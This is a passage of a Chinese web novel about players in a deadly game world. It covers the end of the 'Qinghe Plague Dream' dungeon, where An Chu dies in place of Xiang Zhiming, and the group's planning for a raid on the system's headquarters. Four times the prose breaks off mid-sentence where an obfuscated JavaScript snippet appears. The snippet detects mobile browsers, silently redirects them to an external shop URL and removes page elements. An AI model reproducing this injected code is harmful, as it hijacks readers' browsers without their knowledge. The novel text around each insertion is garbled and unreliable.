两个人分开走,初与序轻轻推开安母房间的门。里面光线很暗,安母躺在床上,睡得很沉,但眉头皱着,像在做什么不好的梦。房间墙上挂着一幅画,上面画着一些扭曲的符咒,看着有点渗人。 初与序屏住呼吸走到窗边,将符纸轻轻贴在安母额头上方。 符纸上用血画的纹路亮起一层暗红色的光,紧接着一滴鲜红的血珠从安母心口的位置凭空冒出,悬浮在半空中。 初与序从面板里取出一个小盒子,将那滴血珠引进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205040|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,合上盖子。 她伸手揭下安母额头的符纸,符纸在她指尖燃起一小簇火苗,烧成灰烬,全程没惊醒床上的人。初与序松了口气,将小盒子收回面板,转身准备离开。 一转头,就看见墙角站着一个东西。 是一只鬼影,但模模糊糊的,看不清脸,只有一双眼睛闪着红光。就站在那里一动不动地盯着她。 “……” 怎么这么倒霉? 下一秒,隔壁房间传来向枝冥的骂声:“操!”紧接着门被大力撞开,向枝冥的身影从隔壁冲出来,对着初与序这边喊道:“有陷阱!快跑!” 话落,安父就从那间屋里追了出来,赤着脚,追着向枝冥跑远。 初与序刚想动,手腕忽然被人死死扣住。她低头一看,安母不知什么时候睁开了眼睛,死死盯着初与序。 然后她猛地坐起身,另一只手抬起,两根手指朝着初与序双眼狠狠戳了过来! 她偏头躲开,另一只手往腰间一抹,短刀出鞘,刀锋一翻,用刀背狠狠砸在扣住自己手腕的那只手上。安母吃痛,手猛地一松。 初与序忙把手抽回来,转身就跑。安母从床上弹起来,赤脚追上来。同时,各种鬼影从四面八方冒出来,吱吱尖叫着,汇成一股黑色的流,朝她和向枝冥的方向涌来! 她头也不回冲出院门,顺着来时的巷子狂奔。 一个鬼影忽地从侧面墙里探出半个身子,伸手就要抓她肩膀。她矮身躲开,反手一刀砍过去,那影子扭曲了一下,尖叫着缩回墙里面。但有更多的鬼影闻声,朝着这边赶过来。 “没完没了了?”她低声骂了一句。 祠堂就在前面,其余三人也从另一个方向跑来,向枝冥脸上还带着抓伤,气喘吁吁。 初与序冲进祠堂,安楚见状,立刻跪在祠堂中央,双手按地,快速念着咒文。一道水波般的屏障“嗡”地一声,覆盖了整个祠堂内外。 紧追在后面的鬼影猛地撞在这道屏障上,身上冒起青烟,发出更加凄厉的尖叫,不敢再靠近,只是在屏障外围成一圈,嘶嘶地游走,盯着里面的人。 安父和安母很快追过来,被屏障挡在外面,死死盯着祠堂里的四个人,脸上带着痛苦,张着嘴发出尖叫。 初与序收回短刀,对安楚道:“你父母似乎也受到了血瘟符的反噬,暂时失去了理智。” 安楚点了点头,向枝冥靠在供桌边,擦了下脸上的血痕,冷冷看着外面的安父安母和鬼影,又瞥了一眼安楚的背影,扯了扯嘴角:“心疼了?那你开门出去呗。” 安楚闻言,径直走到他身边。 向枝冥连忙警惕地直起身:“干什么?你又要打我?” 安楚没理他,伸手按住他肩膀,另一只手在他怀里抽出四张黄符纸。然后用手指沾了沾向枝冥脸上还在渗血的伤口,用血快速在四张符纸上画下符咒。 画完,他把符纸一人一张递过去:“隐息符,贴在身上,别的活物感知不到我们。” 向枝冥接过符纸,看着上面用自己血画的符,脸色有点难看,但终究没说什么。 安楚转身走到祠堂角落,蹲下身伸手摸索着地面。片刻后掀开一块地砖,露出下方一扇厚重的木门。他用力拉开木门,一股淡淡的酒气涌了上来。 “跟我来。”他说完,率先走下梯子。 273.清河疫梦 下面是一条地道,只容一个人通过,墙壁是湿漉漉的土。走下去时,那股酒味更浓了。 地道不长,走了大概几分钟,前面出现一道向上的木梯。 安楚爬上去,伸手推开头顶的木板,光亮漏下来。 几个人爬出来,这是一间废弃的木材屋,屋里堆着一些烂木头。窗户纸早就破了,风呼呼往里面灌。 初与序走到门边,推开一条缝往外看。祠堂上空那道屏障还在,屏障周围黑压压的鬼影仍然围在那里,但明显发现了祠堂里空空如也,又寻不到他们的气息,只能像一群无头苍蝇一样在上空乱转。 “走吧,去池塘边。”初与序将门彻底推开。 几个人来到池塘边,池塘不算小,水色暗沉沉的,岸边杂草丛生,歪脖子柳树的枝条垂进水里。 他们把收集来的东西并排放在岸边一块石头上,有两个装着心口血的小盒子,安阳的指骨,还有画满符咒的黄纸,以及一堆护阵的材料。 安楚蹲在池塘边,用手撩了下水,很凉。他便站起身,指了指池塘东西两个方向,对初与序和u谷道:“你们需要在岸边设‘镇煞桩’和‘引灵线’。桩用雷击木,削尖钉入土里三尺深,桩顶画我待会儿教你们的符。线用浸过雄黄酒的麻绳,绕着池塘半圈,每隔七步绑在桩上,绳上每隔三尺打一个‘锁魂结’。” 他从石头上拿起雷击木和麻绳,分给两人:“桩要打稳,线要拉紧结要打牢。这是第一道防线,挡怨鬼的。” 这一段话也是苦了听不太懂中文的u谷,他听得直皱眉,和安楚大眼瞪小眼。在初与序磕磕绊绊用英文翻译了一遍后他才勉强点头,表示明白,抱着东西道:“我去西边,你去东边。” 安楚又看向向枝冥:“我们在岸边开始布主阵。阵纹用混了硫磺的朱砂画,从岸边一直画到池塘中央,在水面上也要能落脚。我去弄浮板。” u谷任劳任怨地拿起东西往池塘西边走,边走边嘀咕道:“Pounding wood into mud……wa great.(把木头钉进泥里……哇哦,真棒。)” 初与序拿着雷击木和麻绳走向东侧。避开了太湿软和石头太多的地方,目测出大概间隔。然后抽出短刀开始削雷击木的一端。 远处,安楚搬来几块厚实的旧木板,用绳子捆扎,做成浮板。向枝冥蹲在地上,冷着脸用一个破碗调着朱砂和硫磺粉。 “硫磺放多了。”安楚路过时瞥了一眼,说。 向枝冥没理他,从碗里舀出一点多余的硫磺粉。 初与序削好第一根木桩,找好位置,用刀背当锤子开始往土里钉。土很硬,钉进去很费力气。u谷在西边大概也遇到了同样的位置,远远地就听到他的抱怨:“这土也太硬了吧!” 钉好一根,她用指尖蘸了一点雄黄酒,在桩顶上画下一个符咒。画完,符文微微亮了一下,又暗下去。 初与序又拿出那卷浸了雄黄酒的麻绳(就是引灵线),将绳子的一端系在桩顶,拉着绳子走向下一个桩位,绳子悬空绷紧。 她抽空抬头看了一眼池塘中央,向枝冥已经把几块浮板用绳子连在一起,铺出了一条通往池塘中心的路。安楚蹲在浮板尽头,小心翼翼地在木板表面画阵纹。 “水中央那块石头能站人吗?”向枝冥忽然问道。 安楚停笔,往池塘中央望了一眼。那里有一块露出水面的大石头:“够一个人站,法阵要铺过去。” “麻烦。”向枝冥皱了皱眉,“绳子呢?” “岸边,自己拿。” “……” 初与序低下头继续打桩,拉绳,打结。东岸这边的防御阵设好,她抬头,看见u谷在西岸也差不多完成了,正对着她比了个“oK”的手势。 她直起身,拍了拍手上的泥土。她环顾四周,后退几步,轻轻松松跃上旁边一间废弃小屋的屋顶,站在高处向下看去。 东西两岸立着十几根“镇煞桩”,桩顶画着符咒,桩与桩之间的“引灵线”纵横交错,在阳光下几乎看不见。向枝冥和安楚的法阵也铺开,他们画好的符纸一张接一张,将浮板悬空铺出一条从岸边直达中心的小路。路上用朱砂画满了阵纹,一路延伸,最终在池塘中央聚集。 “终于好了。”u谷累得瘫在池塘岸边,抬头看了看天色,太阳已经偏西,“再过几个小时,把这破仪式弄完,就能回永冬之城了。” 安楚蹲在池塘边,用池水洗干净手上的朱砂。然后坐到远处一棵树边,靠着树干看着池塘这边。 初与序从屋顶跳下来,拍了拍手上的灰,走到安楚旁边。 她和安楚不算熟,在永冬之城也就是见了面说几句话的交情。她看着现在的安楚,总觉得这人身上有种说不清的气息,沉沉的,像压着什么很重的东西。 她顺着安楚的目光看去,向枝冥正在和u谷聊天,表情还是那副不耐烦的样子。 初与序道:“你真的想向枝冥死吗?” 安楚背靠着树,说:“我不知道。” 初与序转回头看他,安楚的长发贴着脸颊,眉眼低垂着,没有表情。他站着的那一片地方让人觉得潮湿,像一直浸在看不见的雨里,那股湿气能渗进骨头。 她道:“你真的给他下咒了?” 安楚没否认。 初与序淡淡看着他,半晌说:“安楚,活着回永冬之城吧。” 安楚闻言,唇角扬了一下,笑容淡淡的,一晃就没了。 等待天黑的那段时间,天上一直不安静。那些鬼影没有回安家,而是在整个清河村上空盘旋。它们离池塘很近,有时候擦着树梢飞过,并不知道这四个人就贴着隐息符在他们下方晃悠。 天慢慢黑透了,村东头安家的方向又传来了低低的念咒声。四个人对视一眼,站起身。安楚从怀里拿出一张纸,递给向枝冥:“照着念,千万别停。” 向枝冥接过纸,展开看了一眼,点了点头。 他们走向池塘,初与序去了东边,u谷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210752|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了西边。向枝冥拿起石头上的两个盒子,一节指骨,一张血符,踏上浮板,走向池塘中央。 安楚站在岸边,离水最近。他抬头,依次看了四人一眼,确认他们都准备好了。 随后他弯下腰,捡起地上从安家顺来的小刀。然后撩起袖子,对着自己左手手腕狠狠划了下去。血立刻涌出来,顺着指尖滴落。他用流血的手在空中快速画着复杂的符纹。血珠飘飞出去,落在法阵的纹路上。 整个池塘的法阵在下一秒亮起金光! 安家方向的念咒戛然而止,四个人身上的隐息符已经彻底没用,所有盘旋的怨鬼齐齐爆发出尖叫,它们全部调转方向,黑压压一片,疯狂地朝着池塘扑来! 初与序短刀出鞘,横在身前。u谷身形一晃,手指间已经夹住了数枚薄薄的刀片。 第一批鬼影撞上了东西两侧的“镇煞桩”和“引灵线”,麻绳绷紧,雷击木桩剧烈震动,上面画的符文亮起光芒。大部分都鬼影被摊开,但后续的源源不断。 u谷手腕一甩,刀片破空飞出,钉入前方几只怨鬼眉心。那些鬼影纷纷停住动作,尖叫着化作黑烟消散,后面的立刻扑上。初与序这边怨鬼更多,她动作不停,刀刃翻飞,黑血溅了一身。 池塘中央,向枝冥站在阵眼处,脚下是金色的阵纹。他将三样物品放在前方,展开安楚给的纸条,开始念诵上面的咒语。 随着他的念诵,前方的三样东西开始泛起暗红色的光芒,心口血在盒子里沸腾起来,指骨微微震动,血瘟符更是无风自动,上面的咒文凭空浮起,围绕着他缓缓旋转。 忽然,池塘的水面剧烈翻涌,一个巨大的影子缓缓从水底升起。那影子比所有鬼影都大,隐约是个人形。浑身缠绕着浓郁得化不开的黑气,只有一双眼睛是两团燃烧的暗红色。这是被血瘟符炼化的安阳的冤魂,此刻竟然出现在这里! 它一睁眼,所有外围的怨鬼尖啸声变得更凄厉了! 向枝冥后退一步,念咒的速度越来越快,但他很快发现不对。这咒语念起来非但没有驱散怨气的感觉,反而像是不停地在喊“我在这里,来啊”。那些原本被初与序和u谷拦住的鬼影纷纷调转方向,齐刷刷地盯向了他! 它们全部放弃了攻击初与序和u谷,开始朝着阵眼汇聚。 “安楚!”u谷见状一愣,脸色大变,冲着岸边的安楚大喊,“What the hell is this chant?!(这他妈念的是什么咒?!)这些鬼东西怎么全冲他去了?!” 初与序也察觉到异样,急急回头看向阵眼。 向枝冥自己也感觉到了,前方三样物品的红光越来越盛,蔓延过来,快要灼伤他的皮肤。 他猛地停住念咒,丢掉纸条,右手食指中指并拢,就要凌空画护身符。 但已经晚了,半空中那个巨大的冤魂发出一声咆哮,所有汇聚而来的怨鬼像是得到了指令,化作无数道黑气,如同离弦之箭,全部朝着阵眼处的向枝冥猛扑下来! 274.清河疫梦(完) 那团黑气直直贯穿了向枝冥的胸口! 向枝冥只觉得浑身的气血“轰”地一下全往头上涌,胸口像被人生生掏了个大窟窿,冰凉刺骨的风灌进去,然后是撕心裂肺的剧痛。他捂住心口,弯下腰喘不上气,喉咙发甜,觉得下一秒就要吐血。 可过了好几秒,除了剧痛还在,身体里竟然没什么别的不对劲。力气还在,神志也清醒。他茫然地低下头,看向自己的手腕—— 手腕上,那道被安楚“下咒”留下的红线此刻烫得吓人,几乎要烧穿皮肉,那热度烫得他眼眶发红。 “安楚——!!!” 岸上传来了u谷恐慌的喊声,向枝冥猛地抬头,看向岸边。 安楚还站在那里,腰弯了下去,脸色惨白,然后他身体剧烈一颤,毫无征兆地吐出一大口鲜血,血喷在草地上,触目惊心。接着他整个人就像被抽掉了骨头,晃了一下,直挺挺往前倒! 向枝冥脑子一片空白,冲过去几步就到安楚跟前,跪在地上接住了倒下来的人。 安楚很轻,抱在怀里,向枝冥这才发现他轻飘飘的。他的生命力正在急速褪去,如此脆弱。 初与序和u谷也冲了过来,围在边上。 安楚闭着眼皱着眉,脸上没什么痛苦的表情,但血正从他的七窍渗出来,源源不断。那些原本扑向向枝冥的黑气,此刻竟丝丝缕缕缠绕在安楚身上,一点点渗入他的皮肤里。 向枝冥茫然道:“安楚?为什么是你……受伤的不是我吗?怎么会……” 初与序抓起安楚垂落的胳膊,袖子往下滑落,露出的手腕上赫然有一道红线。和向枝冥手腕上的一模一样,此刻也散发着红光,烧得他那一小片皮肤微微发红。 初与序看着向枝冥,张了张嘴:“……伤害转移。” 向枝冥僵住了,看了看自己完好无损的胸口,又看了看怀里的安楚,恍然大悟。 什么狗屁的诅咒符? 清河村积攒了这么多年的怨气,血瘟符所有的反噬,现在全在安楚身体里冲撞。他活不了了。就算现在立刻回永冬之城,那地方也救不回一个魂魄都被怨气浸透的人。 向枝冥心里一阵恐慌,盯着安楚,语无伦次道:“安楚……你他妈不是恨我吗?你不是要我死吗?为什么现在又要替我死?!你撑住!听到没有?!我们俩的账还没算完!你他妈别想就这么算了!你听到了吧?!” 安楚很费力地睁开眼,好像认出了向枝冥。 他咳了两声,嘴里含着血沫,勉强吐出几个清晰的字:“枝冥……是我对不住你……我骗了你。” “我不该……屠杀玄机观……不该和你吵架……不该让你一个人背负这些……” “是我没弄清楚……就以为是师父的错。是我没问明白……害死了那么多人……” 他每说一句,血就多涌出来一点。三个人手忙脚乱地想帮他擦,可怎么擦都擦不完。 “别说了……师哥,我求求你,别说了!”向枝冥焦急地飞快说着,浑身都在发抖,“你活下来,活下来我们慢慢算!!我什么都听你的……我不和你吵了……” 安楚看着他,很温柔地笑了一下。 “我这么坏……死的应该是我。你回了现实……可以好好生活了……” 他看着向枝冥,嘴唇动了动,最后说了句什么。 然后头轻轻一歪,靠在向枝冥臂弯里,不动了。 向枝冥抱着他,整个人僵在那里,一动不动,好像没明白发生了什么。 u谷也愣愣地跪在旁边,难以置信地看着没了声息的安楚。 初与序终于知道,之前安楚身上说不清的气息是什么了。 是将死之人的气息。 过了很久,向枝冥才回过神,抖着手去探安楚的鼻息,停了很久。 他的手僵在那里,然后整个人猛地一哆嗦,喉咙里发出呜咽,紧接着撕心裂肺地大哭起来。眼泪大颗大颗往下砸,流进嘴里,苦得要命。 胸口像是被人活生生撕开,心脏被血淋淋掏出来,疼得他浑身发抖。 他不想安楚死,这个杀了他所有家人的凶手怎么能就这么死了?这太他妈荒唐了。 安楚必须活着,必须和他一辈子纠缠下去,互相恨着,互相折磨,恨到骨头里,恨到变成谁也解不开的执念。 整个清河村都安静下来,远处的门户一扇扇打开,村民们探出头,惊疑不定地望向池塘这边。 安家的大门也被撞开,安父安母跌跌撞撞地冲出来,一眼就看到了池塘边自己儿子的尸体。他们停住脚步,就站在那里,直勾勾地看着,哆嗦着嘴唇。 u谷还跪在一边,茫然地抓着自己的头发:“Fuck……这他妈……” 在古墓里,枯骨道人告诉安楚的,是唯一的破咒方法。 血瘟符是血亲以死为誓种下的诅咒,要解开,也必须用血亲的命去填。所以安楚是最合适的人,当他站在阵眼,怨气进入他体内后,他必死无疑,而血瘟符也随之而破。 但安楚是施术者的儿子,那些怨鬼会认出他是自己人的后代,不会主动进入他体内,仪式无法完成,怨气也无法被终结。 因此站在阵眼的必须是外人,并拥有一定道法能力的,也只能是向枝冥。怨气会涌入他的体内,在他体内暴走,他会死亡,而安楚能活下来。 枯骨道人看出了安楚的不愿,便给了安楚一张符纸,名为“同殇符”。贴符后,向枝冥所受到的任何伤害会由安楚承受,若安楚身死,符咒自解,向枝冥安然无恙。 三个人把安楚埋葬在青鸾山后面,离现实里玄机观那些坟的位置不远,找了块大石头,算是墓碑。 放下安楚之前,向枝冥用毛巾一点点擦去他脸上的血迹,把他脖子上那块玄机观的护身牌摘了下来。木牌上也都是血,刻的字糊成了一团,血已经凝成深褐色。 他拿着牌子走到池塘边,蹲下身用水搓洗。洗了很久很久,才将血洗干净。 初与序站在一边,仰头看着山那边。天边开始泛白,然后一点点透出橘红的光。太阳升起来了,光线暖洋洋地铺过来,照在清河村的屋顶上,照在他们身上。 风轻轻地吹过来,带着清晨的凉意,吹过树林,吹过草地,吹过刚堆的新坟。那些一直压在村子里的怨恨的气息,也跟着这风一点点散了。 向枝冥站起身,水珠从木牌上滴下来,露出原本的木色和刻字。他把安楚的木牌和自己的穿在了一起,挂回脖子上。 两块木牌挨着,轻轻一碰,发出清脆的响声。一块“平安”,一块“喜乐”。 向枝冥在原地站了一会儿,没回头,然后迈开步子,朝着村外列车停靠的方向走去。 【恭喜各位玩家通关副本《清河疫梦》。】 【人类喜欢把最深的爱伪装成最烈的恨,爱恨常彼此纠缠,有人为恨屠戮,亦有人以名赎罪。而当恍然醒悟时,往往站在了命运的断崖处,退一步是执念,进一步是永诀。】 【每当梦醒时分,唯余一声叹息。无人全然无辜,也无人全然有罪。】 【本次副本奖励已发放至各位玩家面板,可打开查看。】 【特殊备注:玩家安楚已死亡,愿魂安。】 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210753|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昔人已乘黄鹤去,此地空余黄鹤楼。】 J23像往常一样打开列车车门,准备和几人搭话。一抬头看向脸色苍白的向枝冥,嘴边的话又咽回去了。向枝冥没看她,找了个角落坐下不动了。 J23转过头看后面的人,u谷上来了,初与序上来了,后面空荡荡的。她看向初与序,用口型问:“安楚呢?” 初与序抬眼看着她,没说话。 J23明白了,张了张嘴又闭上,最后什么也没说,继续开她的列车。 回到永冬之城,下车时站台上等车的玩家看过来,停了一下。三个,少了一个。 消息很快传开,论坛上迅速飘起新的帖子,标题:【前五十玩家安楚确认于副本《清河疫梦》死亡。】 随歌早早看到论坛的消息,来到月台接人,他快步冲过来站在向枝冥面前,紧张道:“你……向枝冥……你没事吧……” 向枝冥像是没听见,直到随歌又喊了一声,才缓缓转过头,茫然地摇了摇头,道:“没事。” 说完他抬脚往前走,刚迈出两步,身体忽然晃了晃,随即直挺挺往前载倒! “靠!”随歌眼疾手快扶住他,“快!去医院!” 一阵兵荒马乱将向枝冥送到医院,医院检查结果很快出来,向枝冥的身体没有严重损伤,但精神受到巨大冲击,加上长时间缺乏休息,导致短暂晕厥。 病床边的椅子上,回北看着病床上的向枝冥,即使是在昏迷中,他也紧紧皱着眉头。 “真没想到,安楚他……有一天会回不来。”回北长长叹了口气。 初与序没有说话,沉默地望着床上的人。 之前江意在阁楼里说过,在以往一部分循环中,第一个死的是安楚,然后就像打开了什么开关,死亡接踵而至,几乎每个副本都会减员,然后计划逐渐走向失败。 现在安楚死了,是不是意味着这一轮循环里,计划也会失败? 向枝冥是在后半夜醒来的,他醒来的时候一点声响都没有,只是睁着眼看着天花板,眼睛空空的,就那么看了很久。 守夜的u谷被自己的困意战胜,迷糊了一会儿,再一睁眼,冷不丁对上一双在黑暗里亮得渗人的眼睛,吓得魂飞魄散:“Fuck!” 向枝冥转了转眼睛,视线落到u谷脸上,沉默地看着他。 u谷惊魂未定道:“你醒了怎么不出声啊,吓死人了!要喝水吗?还是吃饭?” 向枝冥没回答,又在床上躺了几分钟。然后突然爬起来,掀开被子就要往病房外面走。 u谷连忙抓起旁边椅子上的外套递过去:“Where are you going?Put on some clothes first!(你要去哪?先穿件衣服啊!)” 向枝冥动作顿了一下,接过外套胡乱套在病号服外面,径直推开门。 走廊上,回北、赵禾几个人还在低声说着话,听到开门声齐刷刷转头,看到向枝冥这幅样子走出来,都是一愣。 回北上前一步拦住他:“你去哪?” 向枝冥道:“你别管我。” “不管你我管谁?”回北瞪他,“我是你队长,还能真不管你?” 向枝冥在原地站了片刻,道:“去A区。” 说完他拨开回北挡着的手,径直朝外面走。 回北刚要喊住他,初与序已经从旁边椅子上拿起自己的大衣,站起身道:“让他去吧,我跟着看看。” 她顿了顿,“正好有话找他聊聊。” 回北看了初与序一眼,点了点头,没再阻拦。 275.后天行动 向枝冥一路往A区走,脚步有些发飘,踩在积雪上没有声音,初与序就不远不近地跟在后面。她不知道向枝冥有没有察觉到自己跟着,但向枝冥也一直没回头骂她,她便默认他同意自己跟着。 来到熟悉的小巷,黑罩袍的店铺紧闭着门,门前积了一层薄雪。向枝冥在门口顿了顿,弯下腰伸手在门边一个花盆底下摸索了一会儿,摸出一把钥匙。 他打开门,走了进去。 店铺里还保持着上次他来送护身牌时的样子,甚至空气里还残留着一点安楚的气息,淡淡的。向枝冥在安楚平日里惯坐的椅子上安静地坐了一会儿。 然后他站起身走到后院,接了一桶水,拿着几块毛巾擦拭店里每一处地方,擦完后又将店里的东西一件件整齐放好。 初与序站在店铺外,默默看着他做这一切。 天快亮的时候,向枝冥终于停下了手里的动作。他放下毛巾走到店门口,在台阶上坐了下来,低头看着面前的雪地。 初与序走过去,在他旁边停下:“你要干什么?” 向枝冥思考了片刻,道:“我也不知道……就想来看看。” 初与序看向自己脚边一盆勿忘我,问道:“你要怎么处理安楚的店铺?” “就在这里放着吧。”向枝冥说,“我有时候来整理一下。” 初与序没说话,向枝冥盯着地面,喃喃道:“我唯一的家人……也没有了。我现在,真的一个人了。” 初与序转过头看他,说道:“如果他能活过来呢?” “……什么意思?”向枝冥愣愣地抬起头,与她对视。 初与序的脸隐在阴影里,只见一段清冷侧影,从额角到下颌的弧线绷得平直。阴影沿着颧骨滑下去,没入领口。 她没有解释,只是淡淡道:“调整好自己的状态吧,接下来可不太平。” 说完,她便转身,头也不回地离开了这条小巷,只留向枝冥一人茫然地坐在原地。 安楚是这次循环中D栋第一个死亡的玩家,他死后,很长一段时间D栋的氛围都蔫蔫的。所有高阶玩家都在副本和各自的计划里穿梭,更加努力地提高自己的能力。 初与序等人也每天准时进入阁楼,联系摧毁系统的推算步骤。但进入系统总部的方法依然没找到,D19和C13也马不停蹄地帮五人打探消息。 阁楼内,几个人围在面板前,随歌和景明垂正在争论。 面板上是维修区机器的指示灯图,随歌指着其中一组规律,道:“这里,红灯闪两次停顿,然后□□闪一次。按照意哥之前给的第三套对照表,这明明代表数据线的功能移到了红线上不是吗?” “但是你看处罚区。”景明垂伸手点了点,“如果按照你说的,处罚区的□□就不会长亮。根据总关联规则,这里应该是电源功能移到了黄线。” 随歌跳起来:“但你看第七轮模拟,处罚区□□也是长亮的,维修区是红灯双闪,那次是对的啊。” “那次是五台机器初始分配不同,不能直接套用。”景明垂扶额叹气,“我们需要重新推算。” 初与序在一边看着,和随歌一起拿起笔推演。 江意走了过来,拍了拍手:“各位,先停一下。” 几个人抬起头,江意走到墙边,将几张大厦的平面图钉在马赛克墙面上,图上用红笔画了清晰的路线,旁边密密麻麻标注着时间和数字。 他推了推眼镜,道:“行动时间定在凌晨一点到两点之间,这个时间段活动最少,执行官巡逻相对宽松。” 他指向办事区的平面图:“四个分机大厦的巡逻是错开的,从办事区开始,依次是处理区、处罚区、维修区。每栋楼顶层巡逻都是八分钟一次,间隔十分钟后下一批巡逻开始。” “一点整,办事区执行官到达顶层开始巡逻。一点零五分,处理区开始。一点十分,处罚区。一点十五,维修区。” 他看向初与序:“初与序,你一点整进入办事区大厦,齐无尽会在那里接应。走备用通道上顶层。执行官在顶层巡逻时,你从另一侧楼梯上去,避开他们。等一点零八分巡逻结束,执行官下楼,你有十分钟时间到达机房,剪断电线,完成推算。” “推算结果立刻传给冬逢初,然后你找地方隐蔽,不要提前离开办事区,防止意外。” 冬逢初人不在这里,但通过耳骨夹能听到江意的话。江意继续道:“冬逢初一点零五分进入处罚区,同样错开巡逻,收到初与序的推算后在十分钟内完成操作,传结果给景明垂。然后躲起来。” “接着是景明垂和随歌,行动照样。” 他顿了顿,道:“撤离也分开走,办事区的执行官有一批在一点五十分离开。处理区一点五十五分。处罚区两点整。维修区两点零五分。D19会把附近的监控关掉,但不要同时出现在街道上,尽量走阴影里。” 他看着三人:“都明白了吗?” 几人消化了一下信息,点了点头。 江意平静道:“后天行动。” 通知来得太突然,几个人都愣了一下。景明垂问道:“意哥,那你怎么进总部?” 江意打开自己的面板,展现出上面的副本通知:“我今晚会进一个副本,顺便取出里面的特殊道具。道具可以暂时将我伪造成任何指定的目标,包括机器识别。我会在后天行动前十分钟内赶回来,进入总部。” “这两天,你们都好好休息,保持状态,不要受伤。” 江意离开阁楼后,出现在D栋楼下一个小公园里。雪刚停,地面上铺着薄薄一层白。他像是有心灵感应,转头看向不远处——一位身穿风衣,红色头发的男人正站在一棵积雪的枯树下。 齐无尽也看到了他,顿了顿,迈步走了过来。两人走到公园另一边的休息室里。 江意反手关上门,在齐无尽对面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210754|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐下。 齐无尽懒散地斜靠在对面沙发里,江意抬眼看他,开口道:“什么时候?” 简简单单四个字,齐无尽听懂了,道:“下个月初吧。” “你非要这么做吗?”江意道,“你有想过一切结束后,无恙该怎么办吗?” “我今年来找你,就是为了这件事。”齐无尽坐直身体,从怀里取出两样东西,推到两人中间的茶几上。 一张黑色的银行卡,一张机票,机票的目的地拦印着“LISBOA”(里斯本)。 齐无尽道:“卡里有八百万,是我在澳门存的。机票通往里斯本,我托人在那边买了房子,手续齐全。” “意哥,等你回到现实后,把这些交给无恙,看着她上飞机就行。我在里斯本有熟人,会照顾好她。” 江意看着桌上的卡和机票,没有动。 齐无尽和他对视了几秒,忽然明白了什么,一愣:“等一下,你不会要……” 江意点了点头。 齐无尽盯着他,苦笑一声:“……意哥,你这样和我有什么区别?” 江意垂下眼,看着自己放在膝盖上的手,手指修长,骨节分明,却带着病态的苍白。他轻描淡写道:“其实本来就不想活了,即使能回去,现实里的胃癌也活不了多长时间。” 他重新抬眼:“这两样东西我会托付给我认为这次一定能活到最后的人,你放心。” 他话锋一转:“但我要问的不是这个。即使你不拜托我,我们也会照顾好无恙。可你有没有想过,她一个十几岁的小姑娘,独自在异国他乡,真的能安稳过完一生吗?她不会想要哥哥在身边吗?” 齐无尽安静了很久很久。 “这是唯一的办法,其他的,我想不到什么了。”他缓缓开口。 “我干了很多违法的事,也间接杀过人。我没有未来,但无恙自始至终是无辜的。他拼命护着她远离那些赌场和脏事,她什么坏事都没做过。她成绩很好,也很聪明,可以在里斯本重新开始。她的一生会自由平安。” “我不希望她有一个我这样的哥哥。” 江意最终点了点头。 齐无尽见他同样,才终于松了口气。抬起头看了一眼墙上的挂钟,时间指向六点。 “你的副本在六点半?”他问道。 “是的。”江意站起身,推了推眼镜。 齐无尽也站了起来,江意道:“后天的行动,就拜托你帮我们了。” “好。”齐无尽顿了顿,道,“再见。” 江意看着他,温柔地笑了一下。 “再见。”他说。 他转身,拉开了休息室的门。 冷空气裹着稀碎的雪沫子扑进来,兜头盖脸砸了个满怀。江意顿了顿,一步踏出去,靴子陷进松软的雪里。室内暖黄的光被他抛在身后,很快,连雪地里那一串整齐的脚印也被落下的白填满了。 276.别死 行动当天,除了还在副本的江意,其余四个人神经都绷得紧紧的。 1802内,随歌抱着他那一大箱草莓牛奶,紧张地抖个不停。不断调出面板,反复查看维修区大厦的平面图和机器模拟图:“要是执行官巡逻时间临时改了怎么办?要是指示灯不亮怎么办?要是推算的时候我脑子卡壳了怎么办?要是……” D19、S23和C13三人围在一边,脸色也好不到哪里去。S23安抚道:“安啦,巡逻排班表我们核对过好几遍,二十四小时内没有调整记录,系统也不会无缘无故变更排班。” 